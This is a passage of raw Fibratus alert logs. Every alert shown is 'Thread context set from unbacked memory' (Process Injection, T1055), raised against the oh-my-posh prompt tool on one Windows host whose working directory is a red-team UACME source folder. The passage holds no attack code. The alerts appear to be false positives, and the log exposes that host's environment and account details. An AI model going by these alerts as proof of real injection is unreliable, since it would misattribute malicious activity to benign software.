"--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:22+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1029389 + Pid: 9840 + Tid: 16096 + Type: SetThreadContext + CPU: 3 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:21.0215319 +0100 CET + Params: status➜ Success + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 9840 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:22+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1029390 + Pid: 9840 + Tid: 16096 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:21.0220167 +0100 CET + Params: status➜ Success + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory + + Pid: 9840 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:22+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1029391 + Pid: 9840 + Tid: 16096 + Type: SetThreadContext + CPU: 3 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:21.0223805 +0100 CET + Params: status➜ Success + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: Thread context set from unbacked memory, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 9840 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:27+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1037681 + Pid: 18984 + Tid: 14708 + Type: SetThreadContext + CPU: 0 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:25.3606173 +0100 CET + Params: status➜ Success + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005 + + Pid: 18984 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T13:39:27+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1038003 + Pid: 18984 + Tid: 14708 + Type: SetThreadContext + CPU: 7 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:25.4068743 +0100 CET + Params: status➜ Success + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 18984 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=31.3152" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-26T13:39:27+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1038033 + Pid: 18984 + Tid: 9328 + Type: SetThreadContext + CPU: 1 